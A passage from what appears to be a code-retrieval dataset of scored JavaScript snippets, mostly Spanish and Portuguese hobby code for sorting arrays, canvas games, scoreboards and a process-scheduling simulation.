Fim = []\n let VetorTam = Vetor.length\n let Acomp = undefined\n if(Acompanhamento) Acomp = Acompanhamento\n\t\tlet AcompTam = false\n if(Acompanhamento) AcompTam = Acomp.length\n let Acompanha = true\n let MaiorLetras = 0\n Ordem = Ordem.toLowerCase()\n\n if(!AcompTam) Acompanha = false\n if(!Ordem || Ordem != 'decrescente') Ordem == 'crescente'\n \n for(i=0; i<VetorTam; i++){\n let Agora = Vetor[i]\n let Tam = Agora.length\n let Name = Agora.split(\"\")\n \n Tamanhos.push(Tam)\n Cortes.push(Name)\n }\n \n MaiorLetras = decrescente(Tamanhos, 1)\n \n for(j=0; j<Cortes.length; j++){\n Atual = Cortes[j]\n let AtualTam = Atual.length\n \n for(k=0; k<AtualTam; k++){\n Atual[k] = Atual[k].toLowerCase()\n \n Atual[k] = Atual[k].normalize(\"NFD\").replace(/[^a-zA-Zs]/g, \"\")\n \n if(Atual[k] == 'a') Atual[k] = 1\n if(Atual[k] == 'b') Atual[k] = 2\n if(Atual[k] == 'c') Atual[k] = 3\n if(Atual[k] == 'd') Atual[k] = 4\n if(Atual[k] == 'e') Atual[k] = 5\n if(Atual[k] == 'f') Atual[k] = 6\n if(Atual[k] == 'g') Atual[k] = 7\n if(Atual[k] == 'h') Atual[k] = 8\n if(Atual[k] == 'i') Atual[k] = 9\n if(Atual[k] == 'j') Atual[k] = 10\n if(Atual[k] == 'k') Atual[k] = 11\n if(Atual[k] == 'l') Atual[k] = 12\n if(Atual[k] == 'm') Atual[k] = 13\n if(Atual[k] == 'n') Atual[k] = 14\n if(Atual[k] == 'o') Atual[k] = 15\n if(Atual[k] == 'p') Atual[k] = 16\n if(Atual[k] == 'q') Atual[k] = 17\n if(Atual[k] == 'r') Atual[k] = 18\n if(Atual[k] == 's') Atual[k] = 19\n if(Atual[k] == 't') Atual[k] = 20\n if(Atual[k] == 'u') Atual[k] = 21\n if(Atual[k] == 'v') Atual[k] = 22\n if(Atual[k] == 'w') Atual[k] = 23\n if(Atual[k] == 'x') Atual[k] = 24\n if(Atual[k] == 'y') Atual[k] = 25\n if(Atual[k] == 'z') Atual[k] = 26\n if(!Number(Atual[k])) Atual[k] = 0\n }\n Corte.push(Atual)\n \n let Atu = []\n Atu.push(Vetor[j])\n Atu.push(Corte[j])\n if(Acompanha) Atu.push(Acomp[j])\n \n All.push(Atu)\n }\n \n for(m=0; m<VetorTam; m++){\n let Ver = All[m]\n let Vet1 = Ver[0]\n let Vet2 = Ver[1]\n let VetTam = Vet2.length\n let Value = ''\n \n for(n=0; n<MaiorLetras; n++){\n if(!Vet2[n]){Value = Value+'00'}\n else{\n if(Vet2[n] < 10) Value = Value+'0'\n let agr = Vet2[n].toString()\n Value = Value+agr\n }\n }\n let Terceiro = undefined\n if(Acompanha) Terceiro = Acomp[m]\n Fim.push([Vetor[m], Value, Terceiro])\n }\n\n let Final = undefined\n let Nomes = []\n let Valores = []\n let Acompanhar = []\n for(o=0; o<VetorTam; o++){\n let agr = Fim[o]\n Nomes.push(agr[0])\n Valores.push(agr[1])\n if(Acompanhar) Acompanhar.push(agr[2])\n }\n \n if(Ordem == 'crescente'){\n Final = organizar(Valores, 'crescente', Nomes)\n if(Acompanha) Final2 = organizar(Valores, 'crescente', Acompanhar)\n }\n \n if(Ordem == 'decrescente'){\n Final = organizar(Valores, 'decrescente', Nomes)\n if(Acompanha) Final2 = organizar(Valores, 'decrescente', Acompanhar)\n }\n\n /*Conclusao*/\n let Acao = Vetor.length\n if(Acao >= -1 && Acao <= 1) {Notificar('Conc', Funcao, `Foi organizado ${Acao} elemento`)}\n else {Notificar('Conc', Funcao, `Foram organizados ${Acao} elementos`)}\n if(!Acomp) return Final[1]\n if( Acomp) return [Final[1], Final2[1]]\n }", "title": "" }, { "docid": "6e74585cbcc6331de430c07e379e878b", "score": "0.5648883", "text": "function estado(){\n\tlet sumaContagiados = 0;\n\tfor(let i = 0; i< bolas.length; i++){\n\t\tif (bolas[i].estado == 1) {\n\t\t\tsumaContagiados = sumaContagiados +1;\n\t\t}\n\n\t}\n\t//Llamara a funcion para guardar tiempos\n\testadistica(sumaContagiados);\n\t//Miramos si todos estan contagiados\n\tif (sumaContagiados == numero) {\n\t\t\n\t\tdocument.getElementById('inf').innerHTML = \"TODOS INFECTADOS\"\n\n\t\tdocument.getElementById(\"descargar\").style.display = \"block\";\n\n\t\tdocument.getElementById(\"panic\").style.display = \"none\";\n\t\t//Paramos simulacion\n\t\tsimulacion = false;\n\t}\n\n\n\n}", "title": "" }, { "docid": "d88ded2ed77bf2813d4ea921afdc63f8", "score": "0.56486964", "text": "function depintarPuntosPantalla() {\n $('#puntos-equipo-1').text('0');\n $('#puntos-equipo-2').text('0');\n }", "title": "" }, { "docid": "8f538eb69bd8df29f909e3167be658e0", "score": "0.5647935", "text": "function fEncuentraOficDepto(iCveOficina,iCveDepto){\n frm.hdOpinionEntidad.value = \"\";\n for(var i = 0; i < aResDesplegar.length; i++)\n if(iCveOficina == aResDesplegar[i][1] && iCveDepto == aResDesplegar[i][2]){\n lExisteOficDep = true;\n if(frm.hdOpinionEntidad.value == \"\")\n frm.hdOpinionEntidad.value = aResDesplegar[i][7];\n else\n frm.hdOpinionEntidad.value += \",\"+aResDesplegar[i][7];\n\n frm.hdCveSegtoEntidad.value = aResDesplegar[i][0];\n }\n\n if(!lExisteOficDep)\n fCargaDeptoPadre();\n else\n fNavega();\n}", "title": "" }, { "docid": "0d6a07ed85d9f7aed1dd9719638f32f9", "score": "0.5639507", "text": "function compruebaCruces() { \n var periodos = listado1.datos; \n var indexFechaFin = 6; \n var indexFechaInicio = 5; \n var indexPeriodoCruce = 9; \n var fechaFinActual; \n var fechaInicioSiguiente; \n var fechaFinActualMilis; \n var fechaInicioSiguienteMilis; \n var si = GestionarMensaje(84); \n var no = GestionarMensaje(86); \n \n //chequeo desde el primero con el segundo hasta el anteultimo con el ultimo \n for (var i=0; i < (periodos.length - 1); i++) { \n fechaFinActual = periodos[i][indexFechaFin]; \n fechaInicioSiguiente = periodos[i+1][indexFechaInicio]; \n fechaFinActualMilis = dameMilis(fechaFinActual); \n fechaInicioSiguienteMilis = dameMilis(fechaInicioSiguiente); \n //alert(\"fechaFinActualMilis \" + fechaFinActualMilis); \n //alert(\"fechaInicioSiguienteMilis \" + fechaInicioSiguienteMilis); \n \n if (fechaFinActualMilis >= fechaInicioSiguienteMilis) { \n //periodo con cruce \n periodos[i][indexPeriodoCruce] = si; \n } else { \n //periodo sin cruce \n periodos[i][indexPeriodoCruce] = no; \n } \n } \n //ademas el ultimo es periodo sin cruce \n if (periodos.length != 0) { \n periodos[periodos.length-1][indexPeriodoCruce] = no; \n } \n \n //setamos la lista actualizada \n listado1.datos = periodos; \n \n //actualizo el listado de periodos. \n listado1.save(); \n listado1.repintaDat(); \n }", "title": "" }, { "docid": "97397f606ce0b886a17d2f7957e78ea8", "score": "0.5634598", "text": "function acompanhar(Vetor, Busca, Adicionar, Local){\n let Funcao = 'acompanhar'\n /*Erro*/ if(Vetor[0] == undefined) return Notificar('Warn', Funcao, 'Vetor', 'Vetor', Vetor)\n /*Erro*/ if(Busca == undefined) return Notificar('Warn', Funcao, `Necessário citar o valor a ser pesquisado`, 'Busca', Busca)\n /*Erro*/ if(Adicionar == undefined) return Notificar('Warn', Funcao, `Necessário citar o valor a adicionar`, 'Adicionar', Adicionar)\n /*Aviso*/ if(Local = undefined) Notificar('Info', Funcao, `Local padronizado a 'depois'`)\n /*Erro*/ if(Local != undefined && (Local.toLowerCase() == 'antes' || Local.toLowerCase() == 'depois')) return Notificar('Warn', Funcao, `Não existe saída para valor citado em Local`, 'Local', Local)\n\n let VetorTam = Vetor.length\n let Fim = []\n let Achou = 0\n \n let Lugar = 'depois'\n if(Local) Local = Local.toLowerCase()\n if(Local == 'antes') Lugar = 'antes'\n \n\n for(i=0; i<VetorTam; i++){\n if(Vetor[i] == Busca){\n if(Lugar == 'depois'){\n Fim.push(Vetor[i])\n Fim.push(Adicionar)\n Achou++\n }\n if(Lugar == 'antes'){\n Fim.push(Adicionar)\n Fim.push(Vetor[i])\n }\n } else{\n Fim.push(Vetor[i])\n }\n }\n\n /*Conclusao*/\n let Acao = Achou\n if(Acao >= -1 && Acao <= 1) {Notificar('Conc', Funcao, `Foi adicionado ${Acao} elemento`)}\n else {Notificar('Conc', Funcao, `Foram adicionados ${Acao} elementos`)}\n return Fim\n }", "title": "" }, { "docid": "5bf0a49e2a88fd0d713f1d19c7aa371f", "score": "0.5619352", "text": "puedeSubir(){ \n if (this._jump && !this._martillo){//si no has saltado y no llevas un martillo\n this._sube=true; \n this._corriendo = false;\n }\n }", "title": "" }, { "docid": "d8d4483938a1f7693b3ed63bfda4c60f", "score": "0.56141937", "text": "function Perdiste(){\n\t\n\tif(idioma==\"ENG\"){\n\t\tPODIO=\"TRUMP\";\n\t\tPlay_again=\"Enter to Play Again\";\n\t\t}\n\t\t\telse\n\t\t\t\tif(idioma==\"ES\"){\n\n\t\t\t\t\t\tPODIO=\"TRIUNFO\";\n\t\t\t\t\t\tPlay_again=\"Enter para Jugar de Nuevo\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\n\t\nif(teclado[teclaEnter] && Podio==true && Escena==2 && TeclapressMovAB==0 && IngresNombre==false){ \nSonido(true,\"SonidoSelect\");\n\tEscena=1; \n\tTeclapressMovAB=1;\n\tPodio=false;\n\tEstadoReinicio=true;\t\t\t \n\t} \t\n\t\n\t//////////////////reinicio de teclas\n\t\nif(teclado[teclaEnter]==false && TeclapressMovAB==1){ \tTeclapressMovAB=0; }\nelse if(teclado[teclaEnter]==undefined ){ \tteclado[teclaEnter]=false; }\n\t//////////////////reinicio de teclas\n\n\t\n\n\n\n\n\t\n\t ctx.save();\n ctx.fillStyle=\"rgba(255,255,255,0.2)\";\nctx.fillRect(0,0,W,H);\nctx.restore(); \t\t\t\n\n\n\t// /*POSICION:1*//*POSICION:1*//*POSICION:1*/\n\tif(puntos1!=0){\n\t\n\tif(puntos1!=epuntos1 && Segundor1!=eSegundor1){\n\tctx.save();\t\nctx.fillStyle=colorNombre1;\nctx.font = '60px calibri black';\n ctx.fillText(\"1)\"+\" \"+nombre1,X-400,Y-100);\n ctx.fillText(puntos1,X-50,Y-100); \n ctx.fillText(hora1+\":\"+min1+\":\"+seg1,X+200,Y-100);\nctx.restore(); \n\n\t}\n\t else\nif(puntos1==epuntos1 && Segundor1==eSegundor1){\n\t\nTiempoEmpate+=1;\n\t\n\nif(TiempoEmpate>0 && TiempoEmpate<10 ){\n\t// /*POSICION:1*//*POSICION:1*//*POSICION:1*/\n\tctx.save();\t\nctx.fillStyle=\"white\";\nctx.font = '60px calibri black';\n ctx.fillText(\"1)\"+\" \"+enombre1,X-400,Y-100);\n ctx.fillText(epuntos1,X-50,Y-100); \n ctx.fillText(ehora1+\":\"+emin1+\":\"+eseg1,X+200,Y-100);\nctx.restore(); \n\n/*POSICION:1*//*POSICION:1*//*POSICION:1*/\n}\n\telse{\n\t\t\tctx.save();\t\n\t\t\tctx.fillStyle=\"red\";\n\t\t\tctx.font = '60px calibri black';\n\t\t\tctx.fillText(\"1)\"+\" \"+nombre1,X-400,Y-100);\n\t\t\tctx.fillText(puntos1,X-50,Y-100); \n\t\t\tctx.fillText(hora1+\":\"+min1+\":\"+seg1,X+200,Y-100);\n\t\t\tctx.restore(); \n\t}\n\n\tif(TiempoEmpate==20 ){\n\t\tTiempoEmpate=0;\t\n\t}\n\n}\n\t}\nif(puntos1==0){\n\t\tctx.save();\t\n\t\tctx.fillStyle=colorNombre1;\n\t\tctx.font = '60px calibri black';\n\t\tctx.fillText(\"1)\"+\" \"+nombre1,X-400,Y-100);\n\t\tctx.fillText(puntos1,X-50,Y-100); \n\t\tctx.fillText(hora1+\":\"+min1+\":\"+seg1,X+200,Y-100);\n\t\tctx.restore();\n\t\n}\n/*POSICION:1*//*POSICION:1*//*POSICION:1*/\n\n\n//////////////////////\n/*POSICION:2*//*POSICION:2*//*POSICION:2*/\nif(puntos2!=0){\n\n\tif(puntos2!=epuntos2 && Segundor2!=eSegundor2){\n\tctx.save();\t\nctx.fillStyle=colorNombre2;\nctx.font = '60px calibri black';\n ctx.fillText(\"2)\"+\" \"+nombre2,X-400,Y);\n ctx.fillText(puntos2,X-50,Y); \n ctx.fillText(hora2+\":\"+min2+\":\"+seg2,X+200,Y);\nctx.restore(); \n\n\t}\n\t else\nif(puntos2==epuntos2 && Segundor2==eSegundor2 ){\n\t\t\t\t\n\t\t\tTiempoEmpate+=1;\n\t\t\t\t\n\n\t\t\tif(TiempoEmpate>0 && TiempoEmpate<10 ){\n\t\t\t\n\t\t\t\tctx.save();\t\n\t\t\tctx.fillStyle=\"white\";\n\t\t\tctx.font = '60px calibri black';\n\t\t\t ctx.fillText(\"2)\"+\" \"+enombre2,X-400,Y);\n\t\t\t ctx.fillText(epuntos2,X-50,Y); \n\t\t\t ctx.fillText(ehora2+\":\"+emin2+\":\"+eseg2,X+200,Y);\n\t\t\tctx.restore(); \n\n\t\t\t}\n\t\t\telse{\n\t\t\t\t\n\t\t\t\tctx.save();\t\n\t\t\tctx.fillStyle=\"red\";\n\t\t\tctx.font = '60px calibri black';\n\t\t\t ctx.fillText(\"2)\"+\" \"+nombre2,X-400,Y);\n\t\t\t ctx.fillText(puntos2,X-50,Y); \n\t\t\t ctx.fillText(hora2+\":\"+min2+\":\"+seg2,X+200,Y);\n\t\t\tctx.restore();\n\t\t\t }\n\n\t\t\t\tif(TiempoEmpate==20 ){\n\t\t\t\t\tTiempoEmpate=0;\t\n\t\t\t\t}\n\n}\n}\nif(puntos2==0){\n\t\tctx.save();\t\n\t\t\tctx.fillStyle=colorNombre2;\n\t\t\tctx.font = '60px calibri black';\n\t\t\t ctx.fillText(\"2)\"+\" \"+nombre2,X-400,Y);\n\t\t\t ctx.fillText(puntos2,X-50,Y); \n\t\t\t ctx.fillText(hora2+\":\"+min2+\":\"+seg2,X+200,Y);\n\t\t\tctx.restore();\n}\n/*POSICION:2*//*POSICION:2*//*POSICION:2*/\n\n\n/*POSICION:3*//*POSICION:3*//*POSICION:3*/\n\n\tif(puntos3!=0){\nif(puntos3==epuntos3 && Segundor3==eSegundor3 ){\n\t\t\t\t\n\t\t\tTiempoEmpate+=1;\n\t\t\t\t\n\n\t\t\tif(TiempoEmpate>0 && TiempoEmpate<10 ){\n\t\t\t\n\t\t\t\tctx.save();\t\n\t\t\tctx.fillStyle=\"white\";\n\t\t\tctx.font = '60px calibri black';\n\t\t\t ctx.fillText(\"3)\"+\" \"+enombre3,X-400,Y+90);\n\t\t\t ctx.fillText(epuntos3,X-50,Y+90); \n\t\t\t ctx.fillText(ehora3+\":\"+emin3+\":\"+eseg3,X+200,Y+90);\n\t\t\tctx.restore(); \n\n\t\t\t}\n\t\t\telse{\n\t\t\t\t\n\t\t\t\tctx.save();\t\n\t\t\tctx.fillStyle=\"red\";\n\t\t\tctx.font = '60px calibri black';\n\t\t\t ctx.fillText(\"3)\"+\" \"+nombre3,X-400,Y+90);\n\t\t\t ctx.fillText(puntos3,X-50,Y+90);\n\t\t\t ctx.fillText(hora3+\":\"+min3+\":\"+seg3,X+200,Y+90);\n\t\t\tctx.restore();\n\t\t\t }\n\n\t\t\t\tif(TiempoEmpate==20 ){\n\t\t\t\t\tTiempoEmpate=0;\t\n\t\t\t\t}\n\n\n}\nelse\n\tif(puntos3!=epuntos3 && Segundor3!=eSegundor3 ){\n\t\t\t\tctx.save();\t\n\t\t\tctx.fillStyle=colorNombre3;\n\t\t\tctx.font = '60px calibri black';\n\t\t\t ctx.fillText(\"3)\"+\" \"+nombre3,X-400,Y+90);\n\t\t\t ctx.fillText(puntos3,X-50,Y+90); \n\t\t\t ctx.fillText(hora3+\":\"+min3+\":\"+seg3,X+200,Y+90);\n\t\t\tctx.restore(); \n\t}\n\t\n\t}\n\t\n\tif(puntos3==0){\n\t\t\tctx.save();\t\n\t\t\tctx.fillStyle=colorNombre3;\n\t\t\tctx.font = '60px calibri black';\n\t\t\t ctx.fillText(\"3)\"+\" \"+nombre3,X-400,Y+90);\n\t\t\t ctx.fillText(puntos3,X-50,Y+90); \n\t\t\t ctx.fillText(hora3+\":\"+min3+\":\"+seg3,X+200,Y+90);\n\t\t\tctx.restore(); \n\t}\n/*POSICION:3*//*POSICION:3*//*POSICION:3*/\n\n\n\n\n\nif(idioma==\"ENG\"){\nctx.save();\t\nctx.fillStyle=\"white\";\nctx.font = '80px calibri black';\nctx.fillText(PODIO,X-120,80);\nctx.restore(); \n}\nif(idioma==\"ES\"){\nctx.save();\t\nctx.fillStyle=\"white\";\nctx.font = '80px calibri black';\nctx.fillText(PODIO,X-140,80);\nctx.restore(); \n}\n //////////////////////volever1\n cambioTEXT6+=1;\n if(idioma==\"ENG\"){\nif(cambioTEXT6>0 && cambioTEXT6<5){\n\nctx.save();\t\nctx.fillStyle=\"blue\";\nctx.font = '60px calibri black';\nctx.fillText(Play_again,X-250,Y+175);\nctx.restore(); \n}\nelse{\n //////////////////////volever2\nctx.save();\t\nctx.fillStyle=\"white\";\nctx.font = '60px calibri black';\nctx.fillText(Play_again,X-250,Y+175);\nctx.restore(); }\nif(cambioTEXT6==10){\n\t\tcambioTEXT6=0;\n\t}\n } \n ////\n if(idioma==\"ES\"){\nif(cambioTEXT6>0 && cambioTEXT6<5){\n\nctx.save();\t\nctx.fillStyle=\"blue\";\nctx.font = '60px calibri black';\nctx.fillText(Play_again,X-330,Y+175);\nctx.restore(); \n}\nelse{\n //////////////////////volever2\nctx.save();\t\nctx.fillStyle=\"white\";\nctx.font = '60px calibri black';\nctx.fillText(Play_again,X-330,Y+175);\nctx.restore(); }\nif(cambioTEXT6==10){\n\t\tcambioTEXT6=0;\n\t}\n }\n\n}//cierre funcion", "title": "" }, { "docid": "3f81de22d46979eb939ceb3418e18415", "score": "0.5612025", "text": "function comandos(event){\r\n switch (event.keyCode) {\r\n \r\n case 37: //esquerda\r\n \r\n if ( sentidoX != 1 && gambiarra) { //muda de direcao, se o sentido atual não \r\n sentidoX = -1; //for o oposto ao da mudança e a flag for true \r\n sentidoY = 0;\r\n gambiarra = false; \r\n }\r\n break;\r\n case 38://cima\r\n \r\n if(sentidoY != 1 && gambiarra){\r\n sentidoX = 0;\r\n sentidoY = -1;\r\n gambiarra = false; \r\n }\r\n break;\r\n case 39://direita\r\n if (sentidoX != -1 && gambiarra){\r\n sentidoX = 1;\r\n sentidoY = 0;\r\n gambiarra = false; \r\n }\r\n break;\r\n \r\n case 40://baixo\r\n if (sentidoY != -1 && gambiarra){\r\n sentidoX = 0; \r\n sentidoY = 1;\r\n gambiarra = false; \r\n }\r\n break;\r\n \r\n case 80://pausa (P)\r\n \r\n alert(' Jogo pausado, OK para desbloquear ');\r\n // função \"pause\" para quem tem TOC e programa o jogo enquanto o mesmo roda em outra tela \r\n break;\r\n }\r\n }", "title": "" }, { "docid": "c367969e8d11dd6ddc2dae56cd0e8a2d", "score": "0.56110555", "text": "function principal(){\n requestAnimationFrame(principal)\ncanvas.width=800 \ncanvas.height=608 \nniveles()\n\ncuadro.pintaCuadro()\nvidas.restaVidas()\npuntuacion.sumaPuntos()\n\n\n\n \nfor(let i=0;i<atunes.length;i++){\n atunes[i].dibuja()\n atunes[i].moverAtunes()\n }\n\n\n\n\n \n\n\n\n\n}", "title": "" }, { "docid": "1b14c613b164f59b207ea75fad0e5640", "score": "0.5609838", "text": "function cumpleanos(persona, nombre) {\n persona.edad += 1\n console.log(`${persona.nombre.toUpperCase()}: feliz cumpleaños! ahora tienes ${persona.edad} años`)\n}", "title": "" }, { "docid": "5c73449ac0d5ca876cf0fefb2edc6083", "score": "0.5609107", "text": "reiniciarConteo() {\n this.ultimo = 0;\n this.tickets = []; //tambien reiniciamos la cola de tickets\n this.ultimos4 = [];\n console.log(\"Se ha inicializado el sistema\");\n this.grabarArchivo();\n }", "title": "" }, { "docid": "f10818a320286465c8996c0bc308d6fd", "score": "0.560535", "text": "function somarPontoJogador () {\n jogadorPontos++\n document.getElementById('jogador-pontos').innerHTML = jogadorPontos\n }", "title": "" }, { "docid": "281dbf1c33f27f152bbeb2c22fd7bfb1", "score": "0.56039804", "text": "function pintarPuntosResta() {\n control1 = puntos1;\n control2 = puntos1 - 5;\n control3 = puntos1 - 10;\n control4 = puntos1 - 15;\n control5 = puntos1 - 20;\n control6 = puntos1 - 25;\n\n if (puntos1 <= 5) {\n $('#primer-cuadrado-1').removeClass('palitos-' + control1);\n } else if (puntos1 <= 10) {\n $('#segundo-cuadrado-1').removeClass('palitos-' + control2);\n } else if (puntos1 <= 15) {\n $('#tercer-cuadrado-1').removeClass('palitos-' + control3);\n } else if (puntos1 <= 20) {\n $('#cuarto-cuadrado-1').removeClass('palitos-' + control4);\n } else if (puntos1 <= 25) {\n $('#quinto-cuadrado-1').removeClass('palitos-' + control5);\n } else if (puntos1 <= 30) {\n $('#sexto-cuadrado-1').removeClass('palitos-' + control6);\n }\n }", "title": "" }, { "docid": "4171b4bf65dcc90600d765cae273748b", "score": "0.5602257", "text": "function ciclos(resultado){\n\tvar ContadorP1 = 0, ContadorP2 = 0,ContadorP3 = 0;contadorSegmentos = 1;\n\tvar ArrayContadorP1= [],ArrayContadorP2=[],ArrayContadorP3=[];ArrayContadorSegmenetos=[]; \n\tfor(var r=0;r<resultado.length;r++){\n\t\tif(resultado[r].prioridad==\"1\"){\n\t\t\tArrayContadorP1[ContadorP1] = r;\n\t\t\t//console.log(r);\n\t\t\tContadorP1=ContadorP1+1;\n\t\t}else{\n\t\t\tif(resultado[r].prioridad==\"2\"){\n\t\t\tArrayContadorP2[ContadorP2] = r;\n\t\t\t\tContadorP2=ContadorP2+1;\n\t\t\t}\n\t\t\tif(resultado[r].prioridad==\"3\"){\n\t\t\tArrayContadorP3[ContadorP3] = r;\n\t\t\t\tContadorP3=ContadorP3+1;\n\t\t\t}\n\t\t}\n\t}\n\n\tvar Prioridad_1 = \"\";\n\tvar Prioridad_2 = \"\";\n\tvar avanzarP2 = \"\";\n\tvar avanzarP3 = \"\";\n\tvar nCiclos = 0;\n\tvar nSegmentos = 0;\n\tvar nSeg = 0;\n\tvar eS = 0;\n\tvar hDD = 0;\n\tvar SSsegmento=0;\n\tvar SSCiclos=0;\n\tvar cant = $(\"#ciclos\").val();//valor de la caja de texto (cantidad de ciclos)\n\n\t(function ciclo(i) {//esta hace que los ciclos sea lentos para poder ver los cambios\n\t setTimeout(function() {\n\n\n\t if (nCiclos == 5) {//contador de ciclos y segmentos\n\t \t\tnCiclos = 1;\n\t \t\tnSegmentos = parseInt(nSegmentos)+1;\n\t \t}else{\n\t \t\t nCiclos = parseInt(nCiclos)+1; \n\t \t}\n\t \t\n\t \t //muestra los ciclos en pantalla \n\t\t$(\"#mostrarCiclos\").html(\"Ciclo:\"+parseInt(nCiclos)+\" \"+\"Segmento:\"+parseInt(nSegmentos));\n\n\t for (var j = 0; j < resultado.length; j++) {\n\t\t\t\n\n\t \tif (resultado[j].estado==2) {//este if simula la ejecucion de las instrucciones\n\t\t\t\t//se restan 5 instrucciones por ciclo al total de instrucciones de cada proceso;\n\t\t\t\tresultado[j].cantidad = parseInt(resultado[j].cantidad)-1;\n\t\t\t\tif (resultado[j].cantidad<1) {\n\t\t\t\t\tresultado[j].cantidad = 0;//quedan cero instrucciones del total\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (resultado[j].estado==3) {//conteo de ciclos mientras el proceso esta boqueado\n\t\t\t\tif (eS < 13) {//para evento E/S el proceso se bloquea durante 13 ciclos\n\t\t\t\t\teS = parseInt(eS)+1;\n\t\t\t\t}\n\t\t\t\tif (hDD < 27) {//para evento HDD el proceso se bloquea durante 27 ciclos\n\t\t\t\t\thDD = parseInt(hDD)+1;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//console.log(eS+\" \"+hDD)\n\t\t\t}\n\t\t\t/*este if permite que los procesos con prioridad 2 vancen al estado listo cuando los procesos con\n\t\t\tprioridad 1 estan en estado ejecutandose*/\n\t\t\tif((resultado[j].prioridad == 1 || resultado[j].prioridad == \"1\") && (resultado[j].estado == 2 ||resultado[j].estado == \"2\")){\n\t\t\t\t\tvar CCP2 = 1;\n\t\t\t\t\tfor(var m =0;m<ContadorP1;m++ ){\n\t\t\t\t\t\tif(resultado[ArrayContadorP1[m]].estado==2||resultado[ArrayContadorP1[m]].estado==\"2\"){\n\t\t\t\t\t\t\tif(ContadorP1==CCP2){\n\t\t\t\t\t\t\t\tavanzarP2 = \"listo\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tCCP2= CCP2+1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t/*este if permite que los procesos con prioridad 3 vancen al estado listo cuando los procesos con\n\t\t\tprioridad 2 estan en estado ejecutandose*/\n\t\t\tif((resultado[j].prioridad == 2 || resultado[j].prioridad == \"2\") && (resultado[j].estado == 2 ||resultado[j].estado == \"2\")){\n\t\t\t\tvar CCP3 = 1;\n\t\t\t\tfor(var m =0;m<ContadorP2;m++ ){\n\t\t\t\t\tif(resultado[ArrayContadorP2[m]].estado==2||resultado[ArrayContadorP2[m]].estado==\"2\"){\n\t\t\t\t\t\tif(ContadorP2==CCP3){\n\t\t\t\t\t\t\tavanzarP3 = \"listo\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\tCCP3= CCP3+1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t \n\t\t\t/*este if comprueba que todos los procesos de prioridad 1 estan terminado para comenzar a trabajar \n\t\t\ten los procesos de prioridad 2*/\n\t\t\t\tif((resultado[j].prioridad == 1 || resultado[j].prioridad == \"1\") && (resultado[j].estado == 4 ||resultado[j].estado == \"4\")){\n\t\t\t\t\tvar CompararContP1 = 1;\n\t\t\t\t\tfor(var m =0;m<ContadorP1;m++ ){\n\t\t\t\t\t\tif(resultado[ArrayContadorP1[m]].estado==4||resultado[ArrayContadorP1[m]].estado==\"4\"){\n\t\t\t\t\t\t\tif(ContadorP1==CompararContP1){\n\t\t\t\t\t\t\t\tPrioridad_1 = \"YA\";\n\t\t\t\t\t\t\t\tavanzarP2 = \"\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tCompararContP1= CompararContP1+1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t/*este if comprueba que todos los procesos de prioridad 2 estan terminado para comenzar a trabajar \n\t\t\t\ten los procesos de prioridad 3*/\n\t\t\t\tif((resultado[j].prioridad == 2 || resultado[j].prioridad == \"2\") && (resultado[j].estado == 4 ||resultado[j].estado == \"4\")){\n\t\t\t\t\tvar CompararContP2 = 1;\n\t\t\t\t\tfor(var m =0;m<ContadorP2;m++ ){\n\t\t\t\t\t\tif(resultado[ArrayContadorP2[m]].estado==4||resultado[ArrayContadorP2[m]].estado==\"4\"){\n\t\t\t\t\t\t\tif(ContadorP2==CompararContP2){\n\t\t\t\t\t\t\t\tPrioridad_2 = \"YA\";\n\t\t\t\t\t\t\t\tavanzarP3 = \"\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tCompararContP2= CompararContP2+1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t/*este if comprueba que todos los procesos de prioridad 3 estan terminados para para mostrar una \n\t\t\t\tnotificacion de que todos los procesos se completaron*/\n\t\t\t\tif((resultado[j].prioridad == 1 || resultado[j].prioridad == \"1\") && (resultado[j].estado == 4 ||resultado[j].estado == \"4\")){\n\t\t\t\t\tvar CompararContP3 = 1;\n\t\t\t\t\tfor(var m =0;m<ContadorP3;m++ ){\n\t\t\t\t\t\tif(resultado[ArrayContadorP3[m]].estado==4||resultado[ArrayContadorP3[m]].estado==\"4\"){\n\t\t\t\t\t\t\tif(ContadorP3==CompararContP3){\n\t\t\t\t\t\t\t\t//alert(\"Fin De Todos Los Procesos\");\n\t\t\t\t\t\t\t\tif(SSsegmento==0 && SSCiclos==0){\n\t\t\t\t\t\t\t\t\tSSsegmento = nSegmentos;\n\t\t\t\t\t\t\t\t\tSSCiclos = nCiclos;\n\t\t\t\t\t\t\t\t$(\"#ProcesoCompleto\").html(`<h5 style=\" text-align: center; color: white; font-size: x-large; \">Fin De Todos Los Procesos</h5>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h5 style=\" font-size: large; color: white; text-align: center;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tCiclos requeridos: <span>${(nSegmentos)*5+nCiclos}</span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</h5>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>`);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tCompararContP3= CompararContP3+1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t/*se encarga de que el estado se 4 como maximo y cambia los estados*/\n\t\t\t\tif (resultado[j].estado<=3 && nCiclos==5) {\n\t\t\t\t\tif (resultado[j].estado==2) {//cambia el estado de un proceso en ejecucion (bloqueado o terminado)\n\n\t\t\t\t\t\tnSeg = parseInt(nSeg)+1;//contador de segmentos\n\n\t\t\t\t\t\tif (resultado[j].cantidad < 1){//si cantidad de instrcciones es cero = proceso terminado (estado = 4)\n\t\t\t\t\t\t\tresultado[j].estado = parseInt(resultado[j].estado)+2;\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t//bloqueo por esperar un evento E/S o 